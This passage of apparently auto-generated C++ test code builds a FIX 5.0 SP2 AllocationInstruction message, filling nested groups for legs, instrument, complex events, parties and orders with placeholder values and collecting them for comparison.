InstrumentLeg_2);\n    all_values.push_back(InstrumentLeg_2);\n    all_compo_names.insert(\"...NoLegs.\");\n\n    // LegSecAltIDGrp\n    // Group LegSecAltIDGrp.NoLegSecurityAltID\n    {\n      FIX50SP2::AllocationInstruction::NoLegs::NoLegSecurityAltID noLegSecurityAltID_0_1_0;\n      // LegSecAltIDGrp.NoLegSecurityAltID\n      multiset<string> LegSecAltIDGrp_NoLegSecurityAltID_2;\n      set_field(noLegSecurityAltID_0_1_0, FIX::LegSecurityAltID{\"STRING_956308288\"}, LegSecAltIDGrp_NoLegSecurityAltID_2);\n      set_field(noLegSecurityAltID_0_1_0, FIX::LegSecurityAltIDSource{\"STRING_354799140\"}, LegSecAltIDGrp_NoLegSecurityAltID_2);\n      all_values.push_back(LegSecAltIDGrp_NoLegSecurityAltID_2);\n      all_compo_names.insert(\"...NoLegs....NoLegSecurityAltID\");\n\n      noLegs_0_0.addGroup(noLegSecurityAltID_0_1_0);\n    }\n    {\n      FIX50SP2::AllocationInstruction::NoLegs::NoLegSecurityAltID noLegSecurityAltID_0_1_1;\n      // LegSecAltIDGrp.NoLegSecurityAltID\n      multiset<string> LegSecAltIDGrp_NoLegSecurityAltID_3;\n      set_field(noLegSecurityAltID_0_1_1, FIX::LegSecurityAltID{\"STRING_1967343266\"}, LegSecAltIDGrp_NoLegSecurityAltID_3);\n      set_field(noLegSecurityAltID_0_1_1, FIX::LegSecurityAltIDSource{\"STRING_1031960120\"}, LegSecAltIDGrp_NoLegSecurityAltID_3);\n      all_values.push_back(LegSecAltIDGrp_NoLegSecurityAltID_3);\n      all_compo_names.insert(\"...NoLegs....NoLegSecurityAltID\");\n\n      noLegs_0_0.addGroup(noLegSecurityAltID_0_1_1);\n    }\n    msg.addGroup(noLegs_0_0);\n  }\n  // Instrument\n  multiset<string> Instrument_4;\n  FIX::AttachmentPoint AttachmentPoint_4;\n  AttachmentPoint_4.setString(\"13.300000\");\nset_field(msg, AttachmentPoint_4, Instrument_4);\n  set_field(msg, FIX::CFICode{\"STRING_1120430165\"}, Instrument_4);\n  set_field(msg, FIX::CPProgram{1}, Instrument_4);\n  set_field(msg, FIX::CPRegType{\"STRING_1320031623\"}, Instrument_4);\n  FIX::CapPrice CapPrice_4;\n  CapPrice_4.setString(\"5521638\");\nset_field(msg, CapPrice_4, Instrument_4);\n  FIX::ContractMultiplier ContractMultiplier_4;\n  ContractMultiplier_4.setString(\"5671583\");\nset_field(msg, ContractMultiplier_4, Instrument_4);\n  set_field(msg, FIX::ContractMultiplierUnit{2}, Instrument_4);\n  set_field(msg, FIX::ContractSettlMonth{\"MONTHYEAR_1129381917\"}, Instrument_4);\n  set_field(msg, FIX::CountryOfIssue{\"COUNTRY_1479772542\"}, Instrument_4);\n  set_field(msg, FIX::CouponPaymentDate{\"LOCALMKTDATE_331510349\"}, Instrument_4);\n  FIX::CouponRate CouponRate_4;\n  CouponRate_4.setString(\"13.630000\");\nset_field(msg, CouponRate_4, Instrument_4);\n  set_field(msg, FIX::CreditRating{\"STRING_2084058512\"}, Instrument_4);\n  set_field(msg, FIX::DatedDate{\"LOCALMKTDATE_1065861828\"}, Instrument_4);\n  FIX::DetachmentPoint DetachmentPoint_4;\n  DetachmentPoint_4.setString(\"7.340000\");\nset_field(msg, DetachmentPoint_4, Instrument_4);\n  set_field(msg, FIX::EncodedIssuer{\"DATA_343099872\"}, Instrument_4);\n  set_field(msg, FIX::EncodedIssuerLen{437623305}, Instrument_4);\n  set_field(msg, FIX::EncodedSecurityDesc{\"DATA_1666613795\"}, Instrument_4);\n  set_field(msg, FIX::EncodedSecurityDescLen{2106914763}, Instrument_4);\n  set_field(msg, FIX::ExerciseStyle{2}, Instrument_4);\n  FIX::Factor Factor_4;\n  Factor_4.setString(\"868407\");\nset_field(msg, Factor_4, Instrument_4);\n  set_field(msg, FIX::FlexProductEligibilityIndicator{false}, Instrument_4);\n  set_field(msg, FIX::FlexibleIndicator{true}, Instrument_4);\n  FIX::FloorPrice FloorPrice_4;\n  FloorPrice_4.setString(\"10971460\");\nset_field(msg, FloorPrice_4, Instrument_4);\n  set_field(msg, FIX::FlowScheduleType{2}, Instrument_4);\n  set_field(msg, FIX::InstrRegistry{\"STRING_1576034673\"}, Instrument_4);\n  set_field(msg, FIX::InstrmtAssignmentMethod{'2'}, Instrument_4);\n  set_field(msg, FIX::InterestAccrualDate{\"LOCALMKTDATE_783890192\"}, Instrument_4);\n  set_field(msg, FIX::IssueDate{\"LOCALMKTDATE_384859313\"}, Instrument_4);\n  set_field(msg, FIX::Issuer{\"STRING_568061181\"}, Instrument_4);\n  set_field(msg, FIX::ListMethod{0}, Instrument_4);\n  set_field(msg, FIX::LocaleOfIssue{\"STRING_1416819433\"}, Instrument_4);\n  set_field(msg, FIX::MaturityDate{\"LOCALMKTDATE_1313662511\"}, Instrument_4);\n  set_field(msg, FIX::MaturityMonthYear{\"MONTHYEAR_1724179976\"}, Instrument_4);\n  set_field(msg, FIX::MaturityTime{\"TZTIMEONLY_535415735\"}, Instrument_4);\n  FIX::MinPriceIncrement MinPriceIncrement_4;\n  MinPriceIncrement_4.setString(\"4862104\");\nset_field(msg, MinPriceIncrement_4, Instrument_4);\n  FIX::MinPriceIncrementAmount MinPriceIncrementAmount_4;\n  MinPriceIncrementAmount_4.setString(\"1288602\");\nset_field(msg, MinPriceIncrementAmount_4, Instrument_4);\n  set_field(msg, FIX::NTPositionLimit{1102574092}, Instrument_4);\n  FIX::NotionalPercentageOutstanding NotionalPercentageOutstanding_4;\n  NotionalPercentageOutstanding_4.setString(\"59.050000\");\nset_field(msg, NotionalPercentageOutstanding_4, Instrument_4);\n  set_field(msg, FIX::OptAttribute{'1'}, Instrument_4);\n  FIX::OptPayoutAmount OptPayoutAmount_4;\n  OptPayoutAmount_4.setString(\"4348629\");\nset_field(msg, OptPayoutAmount_4, Instrument_4);\n  set_field(msg, FIX::OptPayoutType{1}, Instrument_4);\n  FIX::OriginalNotionalPercentageOutstanding OriginalNotionalPercentageOutstanding_4;\n  OriginalNotionalPercentageOutstanding_4.setString(\"35.020000\");\nset_field(msg, OriginalNotionalPercentageOutstanding_4, Instrument_4);\n  set_field(msg, FIX::Pool{\"STRING_371437850\"}, Instrument_4);\n  set_field(msg, FIX::PositionLimit{1608518082}, Instrument_4);\n  set_field(msg, FIX::PriceQuoteMethod{\"STRING_STD\"}, Instrument_4);\n  set_field(msg, FIX::PriceUnitOfMeasure{\"STRING_714537722\"}, Instrument_4);\n  FIX::PriceUnitOfMeasureQty PriceUnitOfMeasureQty_4;\n  PriceUnitOfMeasureQty_4.setString(\"20461413\");\nset_field(msg, PriceUnitOfMeasureQty_4, Instrument_4);\n  set_field(msg, FIX::Product{9}, Instrument_4);\n  set_field(msg, FIX::ProductComplex{\"STRING_673968837\"}, Instrument_4);\n  set_field(msg, FIX::PutOrCall{1}, Instrument_4);\n  set_field(msg, FIX::RedemptionDate{\"LOCALMKTDATE_727351452\"}, Instrument_4);\n  set_field(msg, FIX::RepoCollateralSecurityType{\"STRING_1809054645\"}, Instrument_4);\n  FIX::RepurchaseRate RepurchaseRate_4;\n  RepurchaseRate_4.setString(\"42.870000\");\nset_field(msg, RepurchaseRate_4, Instrument_4);\n  set_field(msg, FIX::RepurchaseTerm{1824497527}, Instrument_4);\n  set_field(msg, FIX::RestructuringType{\"STRING_MR\"}, Instrument_4);\n  set_field(msg, FIX::SecurityDesc{\"STRING_175425312\"}, Instrument_4);\n  set_field(msg, FIX::SecurityExchange{\"EXCHANGE_2037759568\"}, Instrument_4);\n  set_field(msg, FIX::SecurityGroup{\"STRING_1425324321\"}, Instrument_4);\n  set_field(msg, FIX::SecurityID{\"STRING_560284625\"}, Instrument_4);\n  set_field(msg, FIX::SecurityIDSource{\"STRING_E\"}, Instrument_4);\n  set_field(msg, FIX::SecurityStatus{\"STRING_2\"}, Instrument_4);\n  set_field(msg, FIX::SecuritySubType{\"STRING_1977104058\"}, Instrument_4);\n  set_field(msg, FIX::SecurityType{\"STRING_TAXA\"}, Instrument_4);\n  set_field(msg, FIX::Seniority{\"STRING_SB\"}, Instrument_4);\n  set_field(msg, FIX::SettlMethod{'P'}, Instrument_4);\n  set_field(msg, FIX::SettleOnOpenFlag{\"STRING_110726452\"}, Instrument_4);\n  set_field(msg, FIX::StateOrProvinceOfIssue{\"STRING_1734630681\"}, Instrument_4);\n  set_field(msg, FIX::StrikeCurrency{\"CAN\"}, Instrument_4);\n  FIX::StrikeMultiplier StrikeMultiplier_4;\n  StrikeMultiplier_4.setString(\"8453891\");\nset_field(msg, StrikeMultiplier_4, Instrument_4);\n  FIX::StrikePrice StrikePrice_4;\n  StrikePrice_4.setString(\"19024732\");\nset_field(msg, StrikePrice_4, Instrument_4);\n  set_field(msg, FIX::StrikePriceBoundaryMethod{2}, Instrument_4);\n  FIX::StrikePriceBoundaryPrecision StrikePriceBoundaryPrecision_4;\n  StrikePriceBoundaryPrecision_4.setString(\"90.260000\");\nset_field(msg, StrikePriceBoundaryPrecision_4, Instrument_4);\n  set_field(msg, FIX::StrikePriceDeterminationMethod{2}, Instrument_4);\n  FIX::StrikeValue StrikeValue_4;\n  StrikeValue_4.setString(\"3255630\");\nset_field(msg, StrikeValue_4, Instrument_4);\n  set_field(msg, FIX::Symbol{\"STRING_1503619615\"}, Instrument_4);\n  set_field(msg, FIX::SymbolSfx{\"STRING_WI\"}, Instrument_4);\n  set_field(msg, FIX::TimeUnit{\"STRING_Yr\"}, Instrument_4);\n  set_field(msg, FIX::UnderlyingPriceDeterminationMethod{4}, Instrument_4);\n  set_field(msg, FIX::UnitOfMeasure{\"STRING_Bu\"}, Instrument_4);\n  FIX::UnitOfMeasureQty UnitOfMeasureQty_4;\n  UnitOfMeasureQty_4.setString(\"19641315\");\nset_field(msg, UnitOfMeasureQty_4, Instrument_4);\n  set_field(msg, FIX::ValuationMethod{\"STRING_EQTY\"}, Instrument_4);\n  all_values.push_back(Instrument_4);\n  all_compo_names.insert(\".\");\n\n  // ComplexEvents\n  // Group ComplexEvents.NoComplexEvents\n  {\n    FIX50SP2::AllocationInstruction::NoComplexEvents noComplexEvents_0_0;\n    // ComplexEvents.NoComplexEvents\n    multiset<string> ComplexEvents_NoComplexEvents_9;\n    set_field(noComplexEvents_0_0, FIX::ComplexEventCondition{1}, ComplexEvents_NoComplexEvents_9);\n    FIX::ComplexEventPrice ComplexEventPrice_9;\n    ComplexEventPrice_9.setString(\"4010120\");\nset_field(noComplexEvents_0_0, ComplexEventPrice_9, ComplexEvents_NoComplexEvents_9);\n    set_field(noComplexEvents_0_0, FIX::ComplexEventPriceBoundaryMethod{1}, ComplexEvents_NoComplexEvents_9);\n    FIX::ComplexEventPriceBoundaryPrecision ComplexEventPriceBoundaryPrecision_9;\n    ComplexEventPriceBoundaryPrecision_9.setString(\"75.360000\");\nset_field(noComplexEvents_0_0, ComplexEventPriceBoundaryPrecision_9, ComplexEvents_NoComplexEvents_9);\n    set_field(noComplexEvents_0_0, FIX::ComplexEventPriceTimeType{1}, ComplexEvents_NoComplexEvents_9);\n    set_field(noComplexEvents_0_0, FIX::ComplexEventType{3}, ComplexEvents_NoComplexEvents_9);\n    FIX::ComplexOptPayoutAmount ComplexOptPayoutAmount_9;\n    ComplexOptPayoutAmount_9.setString(\"12992321\");\nset_field(noComplexEvents_0_0, ComplexOptPayoutAmount_9, ComplexEvents_NoComplexEvents_9);\n    all_values.push_back(ComplexEvents_NoComplexEvents_9);\n    all_compo_names.insert(\"....NoComplexEvents\");\n\n    // ComplexEventDates\n    // Group ComplexEventDates.NoComplexEventDates\n    {\n      FIX50SP2::AllocationInstruction::NoComplexEvents::NoComplexEventDates noComplexEventDates_0_1_0;\n      // ComplexEventDates.NoComplexEventDates\n      multiset<string> ComplexEventDates_NoComplexEventDates_20;\n      set_field(noComplexEventDates_0_1_0, FIX::ComplexEventEndDate{FIX::UTCTIMESTAMP(19, 42, 18, 12, 11, 2002)}, ComplexEventDates_NoComplexEventDates_20);\n      set_field(noComplexEventDates_0_1_0, FIX::ComplexEventStartDate{FIX::UTCTIMESTAMP(15, 4, 40, 18, 8, 2001)}, ComplexEventDates_NoComplexEventDates_20);\n      all_values.push_back(ComplexEventDates_NoComplexEventDates_20);\n      all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates\");\n\n      // ComplexEventTimes\n      // Group ComplexEventTimes.NoComplexEventTimes\n      {\n        FIX50SP2::AllocationInstruction::NoComplexEvents::NoComplexEventDates::NoComplexEventTimes noComplexEventTimes_0_0_2_0;\n        // ComplexEventTimes.NoComplexEventTimes\n        multiset<string> ComplexEventTimes_NoComplexEventTimes_53;\n        set_field(noComplexEventTimes_0_0_2_0, FIX::ComplexEventEndTime{FIX::UTCTIMEONLY(12, 46, 1)}, ComplexEventTimes_NoComplexEventTimes_53);\n        set_field(noComplexEventTimes_0_0_2_0, FIX::ComplexEventStartTime{FIX::UTCTIMEONLY(11, 56, 10)}, ComplexEventTimes_NoComplexEventTimes_53);\n        all_values.push_back(ComplexEventTimes_NoComplexEventTimes_53);\n        all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates...NoComplexEventTimes\");\n\n        noComplexEventDates_0_1_0.addGroup(noComplexEventTimes_0_0_2_0);\n      }\n      noComplexEvents_0_0.addGroup(noComplexEventDates_0_1_0);\n    }\n    msg.addGroup(noComplexEvents_0_0);\n  }\n  // EvntGrp\n  // Group EvntGrp.NoEvents\n  {\n    FIX50SP2::AllocationInstruction::NoEvents noEvents_0_0;\n    // EvntGrp.NoEvents\n    multiset<string> EvntGrp_NoEvents_10;\n    set_field(noEvents_0_0, FIX::EventDate{\"LOCALMKTDATE_1728225171\"}, EvntGrp_NoEvents_10);\n    FIX::EventPx EventPx_10;\n    EventPx_10.setString(\"17508082\");\nset_field(noEvents_0_0, EventPx_10, EvntGrp_NoEvents_10);\n    set_field(noEvents_0_0, FIX::EventText{\"STRING_1192686323\"}, EvntGrp_NoEvents_10);\n    set_field(noEvents_0_0, FIX::EventTime{FIX::UTCTIMESTAMP(16, 36, 56, 3, 8, 2008)}, EvntGrp_NoEvents_10);\n    set_field(noEvents_0_0, FIX::EventType{14}, EvntGrp_NoEvents_10);\n    all_values.push_back(EvntGrp_NoEvents_10);\n    all_compo_names.insert(\"....NoEvents\");\n\n    msg.addGroup(noEvents_0_0);\n  }\n  {\n    FIX50SP2::AllocationInstruction::NoEvents noEvents_0_1;\n    // EvntGrp.NoEvents\n    multiset<string> EvntGrp_NoEvents_11;\n    set_field(noEvents_0_1, FIX::EventDate{\"LOCALMKTDATE_819692475\"}, EvntGrp_NoEvents_11);\n    FIX::EventPx EventPx_11;\n    EventPx_11.setString(\"14806630\");\nset_field(noEvents_0_1, EventPx_11, EvntGrp_NoEvents_11);\n    set_field(noEvents_0_1, FIX::EventText{\"STRING_2134935825\"}, EvntGrp_NoEvents_11);\n    set_field(noEvents_0_1, FIX::EventTime{FIX::UTCTIMESTAMP(7, 42, 32, 13, 2, 2009)}, EvntGrp_NoEvents_11);\n    set_field(noEvents_0_1, FIX::EventType{19}, EvntGrp_NoEvents_11);\n    all_values.push_back(EvntGrp_NoEvents_11);\n    all_compo_names.insert(\"....NoEvents\");\n\n    msg.addGroup(noEvents_0_1);\n  }\n  // InstrumentParties\n  // Group InstrumentParties.NoInstrumentParties\n  {\n    FIX50SP2::AllocationInstruction::NoInstrumentParties noInstrumentParties_0_0;\n    // InstrumentParties.NoInstrumentParties\n    multiset<string> InstrumentParties_NoInstrumentParties_6;\n    set_field(noInstrumentParties_0_0, FIX::InstrumentPartyID{\"STRING_139575121\"}, InstrumentParties_NoInstrumentParties_6);\n    set_field(noInstrumentParties_0_0, FIX::InstrumentPartyIDSource{'1'}, InstrumentParties_NoInstrumentParties_6);\n    set_field(noInstrumentParties_0_0, FIX::InstrumentPartyRole{1168377384}, InstrumentParties_NoInstrumentParties_6);\n    all_values.push_back(InstrumentParties_NoInstrumentParties_6);\n    all_compo_names.insert(\"....NoInstrumentParties\");\n\n    // InstrumentPtysSubGrp\n    // Group InstrumentPtysSubGrp.NoInstrumentPartySubIDs\n    {\n      FIX50SP2::AllocationInstruction::NoInstrumentParties::NoInstrumentPartySubIDs noInstrumentPartySubIDs_0_1_0;\n      // InstrumentPtysSubGrp.NoInstrumentPartySubIDs\n      multiset<string> InstrumentPtysSubGrp_NoInstrumentPartySubIDs_13;\n      set_field(noInstrumentPartySubIDs_0_1_0, FIX::InstrumentPartySubID{\"STRING_1624320688\"}, InstrumentPtysSubGrp_NoInstrumentPartySubIDs_13);\n      set_field(noInstrumentPartySubIDs_0_1_0, FIX::InstrumentPartySubIDType{348106872}, InstrumentPtysSubGrp_NoInstrumentPartySubIDs_13);\n      all_values.push_back(InstrumentPtysSubGrp_NoInstrumentPartySubIDs_13);\n      all_compo_names.insert(\"....NoInstrumentParties...NoInstrumentPartySubIDs\");\n\n      noInstrumentParties_0_0.addGroup(noInstrumentPartySubIDs_0_1_0);\n    }\n    {\n      FIX50SP2::AllocationInstruction::NoInstrumentParties::NoInstrumentPartySubIDs noInstrumentPartySubIDs_0_1_1;\n      // InstrumentPtysSubGrp.NoInstrumentPartySubIDs\n      multiset<string> InstrumentPtysSubGrp_NoInstrumentPartySubIDs_14;\n      set_field(noInstrumentPartySubIDs_0_1_1, FIX::InstrumentPartySubID{\"STRING_976292032\"}, InstrumentPtysSubGrp_NoInstrumentPartySubIDs_14);\n      set_field(noInstrumentPartySubIDs_0_1_1, FIX::InstrumentPartySubIDType{2078059475}, InstrumentPtysSubGrp_NoInstrumentPartySubIDs_14);\n      all_values.push_back(InstrumentPtysSubGrp_NoInstrumentPartySubIDs_14);\n      all_compo_names.insert(\"....NoInstrumentParties...NoInstrumentPartySubIDs\");\n\n      noInstrumentParties_0_0.addGroup(noInstrumentPartySubIDs_0_1_1);\n    }\n    {\n      FIX50SP2::AllocationInstruction::NoInstrumentParties::NoInstrumentPartySubIDs noInstrumentPartySubIDs_0_1_2;\n      // InstrumentPtysSubGrp.NoInstrumentPartySubIDs\n      multiset<string> InstrumentPtysSubGrp_NoInstrumentPartySubIDs_15;\n      set_field(noInstrumentPartySubIDs_0_1_2, FIX::InstrumentPartySubID{\"STRING_2076332044\"}, InstrumentPtysSubGrp_NoInstrumentPartySubIDs_15);\n      set_field(noInstrumentPartySubIDs_0_1_2, FIX::InstrumentPartySubIDType{579616616}, InstrumentPtysSubGrp_NoInstrumentPartySubIDs_15);\n      all_values.push_back(InstrumentPtysSubGrp_NoInstrumentPartySubIDs_15);\n      all_compo_names.insert(\"....NoInstrumentParties...NoInstrumentPartySubIDs\");\n\n      noInstrumentParties_0_0.addGroup(noInstrumentPartySubIDs_0_1_2);\n    }\n    msg.addGroup(noInstrumentParties_0_0);\n  }\n  {\n    FIX50SP2::AllocationInstruction::NoInstrumentParties noInstrumentParties_0_1;\n    // InstrumentParties.NoInstrumentParties\n    multiset<string> InstrumentParties_NoInstrumentParties_7;\n    set_field(noInstrumentParties_0_1, FIX::InstrumentPartyID{\"STRING_1123262151\"}, InstrumentParties_NoInstrumentParties_7);\n    set_field(noInstrumentParties_0_1, FIX::InstrumentPartyIDSource{'1'}, InstrumentParties_NoInstrumentParties_7);\n    set_field(noInstrumentParties_0_1, FIX::InstrumentPartyRole{1278720984}, InstrumentParties_NoInstrumentParties_7);\n    all_values.push_back(InstrumentParties_NoInstrumentParties_7);\n    all_compo_names.insert(\"....NoInstrumentParties\");\n\n    // InstrumentPtysSubGrp\n    // Group InstrumentPtysSubGrp.NoInstrumentPartySubIDs\n    {\n      FIX50SP2::AllocationInstruction::NoInstrumentParties::NoInstrumentPartySubIDs noInstrumentPartySubIDs_1_1_0;\n      // InstrumentPtysSubGrp.NoInstrumentPartySubIDs\n      multiset<string> InstrumentPtysSubGrp_NoInstrumentPartySubIDs_16;\n      set_field(noInstrumentPartySubIDs_1_1_0, FIX::InstrumentPartySubID{\"STRING_422532411\"}, InstrumentPtysSubGrp_NoInstrumentPartySubIDs_16);\n      set_field(noInstrumentPartySubIDs_1_1_0, FIX::InstrumentPartySubIDType{807711971}, InstrumentPtysSubGrp_NoInstrumentPartySubIDs_16);\n      all_values.push_back(InstrumentPtysSubGrp_NoInstrumentPartySubIDs_16);\n      all_compo_names.insert(\"....NoInstrumentParties...NoInstrumentPartySubIDs\");\n\n      noInstrumentParties_0_1.addGroup(noInstrumentPartySubIDs_1_1_0);\n    }\n    msg.addGroup(noInstrumentParties_0_1);\n  }\n  {\n    FIX50SP2::AllocationInstruction::NoInstrumentParties noInstrumentParties_0_2;\n    // InstrumentParties.NoInstrumentParties\n    multiset<string> InstrumentParties_NoInstrumentParties_8;\n    set_field(noInstrumentParties_0_2, FIX::InstrumentPartyID{\"STRING_793500747\"}, InstrumentParties_NoInstrumentParties_8);\n    set_field(noInstrumentParties_0_2, FIX::InstrumentPartyIDSource{'1'}, InstrumentParties_NoInstrumentParties_8);\n    set_field(noInstrumentParties_0_2, FIX::InstrumentPartyRole{772360037}, InstrumentParties_NoInstrumentParties_8);\n    all_values.push_back(InstrumentParties_NoInstrumentParties_8);\n    all_compo_names.insert(\"....NoInstrumentParties\");\n\n    // InstrumentPtysSubGrp\n    // Group InstrumentPtysSubGrp.NoInstrumentPartySubIDs\n    {\n      FIX50SP2::AllocationInstruction::NoInstrumentParties::NoInstrumentPartySubIDs noInstrumentPartySubIDs_2_1_0;\n      // InstrumentPtysSubGrp.NoInstrumentPartySubIDs\n      multiset<string> InstrumentPtysSubGrp_NoInstrumentPartySubIDs_17;\n      set_field(noInstrumentPartySubIDs_2_1_0, FIX::InstrumentPartySubID{\"STRING_751507353\"}, InstrumentPtysSubGrp_NoInstrumentPartySubIDs_17);\n      set_field(noInstrumentPartySubIDs_2_1_0, FIX::InstrumentPartySubIDType{759812214}, InstrumentPtysSubGrp_NoInstrumentPartySubIDs_17);\n      all_values.push_back(InstrumentPtysSubGrp_NoInstrumentPartySubIDs_17);\n      all_compo_names.insert(\"....NoInstrumentParties...NoInstrumentPartySubIDs\");\n\n      noInstrumentParties_0_2.addGroup(noInstrumentPartySubIDs_2_1_0);\n    }\n    msg.addGroup(noInstrumentParties_0_2);\n  }\n  // SecAltIDGrp\n  // Group SecAltIDGrp.NoSecurityAltID\n  {\n    FIX50SP2::AllocationInstruction::NoSecurityAltID noSecurityAltID_0_0;\n    // SecAltIDGrp.NoSecurityAltID\n    multiset<string> SecAltIDGrp_NoSecurityAltID_9;\n    set_field(noSecurityAltID_0_0, FIX::SecurityAltID{\"STRING_891426568\"}, SecAltIDGrp_NoSecurityAltID_9);\n    set_field(noSecurityAltID_0_0, FIX::SecurityAltIDSource{\"STRING_1615457676\"}, SecAltIDGrp_NoSecurityAltID_9);\n    all_values.push_back(SecAltIDGrp_NoSecurityAltID_9);\n    all_compo_names.insert(\"....NoSecurityAltID\");\n\n    msg.addGroup(noSecurityAltID_0_0);\n  }\n  {\n    FIX50SP2::AllocationInstruction::NoSecurityAltID noSecurityAltID_0_1;\n    // SecAltIDGrp.NoSecurityAltID\n    multiset<string> SecAltIDGrp_NoSecurityAltID_10;\n    set_field(noSecurityAltID_0_1, FIX::SecurityAltID{\"STRING_1154646367\"}, SecAltIDGrp_NoSecurityAltID_10);\n    set_field(noSecurityAltID_0_1, FIX::SecurityAltIDSource{\"STRING_555130577\"}, SecAltIDGrp_NoSecurityAltID_10);\n    all_values.push_back(SecAltIDGrp_NoSecurityAltID_10);\n    all_compo_names.insert(\"....NoSecurityAltID\");\n\n    msg.addGroup(noSecurityAltID_0_1);\n  }\n  {\n    FIX50SP2::AllocationInstruction::NoSecurityAltID noSecurityAltID_0_2;\n    // SecAltIDGrp.NoSecurityAltID\n    multiset<string> SecAltIDGrp_NoSecurityAltID_11;\n    set_field(noSecurityAltID_0_2, FIX::SecurityAltID{\"STRING_1574051801\"}, SecAltIDGrp_NoSecurityAltID_11);\n    set_field(noSecurityAltID_0_2, FIX::SecurityAltIDSource{\"STRING_1905307685\"}, SecAltIDGrp_NoSecurityAltID_11);\n    all_values.push_back(SecAltIDGrp_NoSecurityAltID_11);\n    all_compo_names.insert(\"....NoSecurityAltID\");\n\n    msg.addGroup(noSecurityAltID_0_2);\n  }\n  // SecurityXML\n  multiset<string> SecurityXML_8;\n  set_field(msg, FIX::SecurityXML{\"XMLDATA_68182427\"}, SecurityXML_8);\n  set_field(msg, FIX::SecurityXMLLen{2139214204}, SecurityXML_8);\n  set_field(msg, FIX::SecurityXMLSchema{\"STRING_2044882806\"}, SecurityXML_8);\n  all_values.push_back(SecurityXML_8);\n  all_compo_names.insert(\"..\");\n\n  // InstrumentExtension\n  multiset<string> InstrumentExtension_0;\n  set_field(msg, FIX::DeliveryForm{1}, InstrumentExtension_0);\n  FIX::PctAtRisk PctAtRisk_0;\n  PctAtRisk_0.setString(\"79.400000\");\nset_field(msg, PctAtRisk_0, InstrumentExtension_0);\n  all_values.push_back(InstrumentExtension_0);\n  all_compo_names.insert(\".\");\n\n  // AttrbGrp\n  // Group AttrbGrp.NoInstrAttrib\n  {\n    FIX50SP2::AllocationInstruction::NoInstrAttrib noInstrAttrib_0_0;\n    // AttrbGrp.NoInstrAttrib\n    multiset<string> AttrbGrp_NoInstrAttrib_0;\n    set_field(noInstrAttrib_0_0, FIX::InstrAttribType{3}, AttrbGrp_NoInstrAttrib_0);\n    set_field(noInstrAttrib_0_0, FIX::InstrAttribValue{\"STRING_1508214813\"}, AttrbGrp_NoInstrAttrib_0);\n    all_values.push_back(AttrbGrp_NoInstrAttrib_0);\n    all_compo_names.insert(\"....NoInstrAttrib\");\n\n    msg.addGroup(noInstrAttrib_0_0);\n  }\n  // OrdAllocGrp\n  // Group OrdAllocGrp.NoOrders\n  {\n    FIX50SP2::AllocationInstruction::NoOrders noOrders_0_0;\n    // OrdAllocGrp.NoOrders\n    multiset<string> OrdAllocGrp_NoOrders_0;\n    set_field(noOrders_0_0, FIX::ClOrdID{\"STRING_1209699419\"}, OrdAllocGrp_NoOrders_0);\n    set_field(noOrders_0_0, FIX::ListID{\"STRING_1437063209\"}, OrdAllocGrp_NoOrders_0);\n    FIX::OrderAvgPx OrderAvgPx_0;\n    OrderAvgPx_0.setString(\"3492470\");\nset_field(noOrders_0_0, OrderAvgPx_0, OrdAllocGrp_NoOrders_0);\n    FIX::OrderBookingQty OrderBookingQty_0;\n    OrderBookingQty_0.setString(\"1854779\");\nset_field(noOrders_0_0, OrderBookingQty_0, OrdAllocGrp_NoOrders_0);\n    set_field(noOrders_0_0, FIX::OrderID{\"STRING_1237941084\"}, OrdAllocGrp_NoOrders_0);\n    FIX::OrderQty OrderQty_0;\n    OrderQty_0.setString(\"16279680\");\nset_field(noOrders_0_0, OrderQty_0, OrdAllocGrp_NoOrders_0);\n    set_field(noOrders_0_0, FIX::SecondaryClOrdID{\"STRING_1653174910\"}, OrdAllocGrp_NoOrders_0);\n    set_field(noOrders_0_0, FIX::SecondaryOrderID{\"STRING_1660473495\"}, OrdAllocGrp_NoOrders_0);\n    all_values.push_back(OrdAllocGrp_NoOrders_0);\n    all_compo_names.insert(\"...NoOrders\");\n\n    // NestedParties2\n    // Group NestedParties2.NoNested2PartyIDs\n    {\n      FIX50SP2::AllocationInstruction::NoOrders::NoNested2PartyIDs noNested2PartyIDs_0_1_0;\n      // NestedParties2.NoNested2PartyIDs\n      multiset<string> NestedParties2_NoNested2PartyIDs_0;\n      set_field(noNested2PartyIDs_0_1_0, FIX::Nested2PartyID{\"STRING_299192009\"}, NestedParties2_NoNested2PartyIDs_0);\n      set_field(noNested2PartyIDs_0_1_0, FIX::Nested2PartyIDSource{'9'}, NestedParties2_NoNested2PartyIDs_0);\n      set_field(noNested2PartyIDs_0_1_0, FIX::Nested2PartyRole{1060556414}, NestedParties2_NoNested2PartyIDs_0);\n      all_values.push_back(NestedParties2_NoNested2PartyIDs_0);\n      all_compo_names.insert(\"...NoOrders...NoNested2PartyIDs\");\n\n      // NstdPtys2SubGrp\n      // Group NstdPtys2SubGrp.NoNested2PartySubIDs\n      {\n        FIX50SP2::AllocationInstruction::NoOrders::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_0_0_2_0;\n        // NstdPtys2SubGrp.NoNested2PartySubIDs\n        multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_0;\n        set_field(noNested2PartySubIDs_0_0_2_0, FIX::Nested2PartySubID{\"STRING_1682825169\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_0);\n        set_field(noNested2PartySubIDs_0_0_2_0, FIX::Nested2PartySubIDType{1820368628}, NstdPtys2SubGrp_NoNested2PartySubIDs_0);\n        all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_0);\n        all_compo_names.insert(\"...NoOrders...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n        noNested2PartyIDs_0_1_0.addGroup(noNested2PartySubIDs_0_0_2_0);\n      }\n      {\n        FIX50SP2::AllocationInstruction::NoOrders::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_0_0_2_1;\n        // NstdPtys2SubGrp.NoNested2PartySubIDs\n        multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_1;\n        set_field(noNested2PartySubIDs_0_0_2_1, FIX::Nested2PartySubID{\"STRING_864318938\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_1);\n        set_field(noNested2PartySubIDs_0_0_2_1, FIX::Nested2PartySubIDType{426768089}, NstdPtys2SubGrp_NoNested2PartySubIDs_1);\n        all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_1);\n        all_compo_names.insert(\"...NoOrders...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n        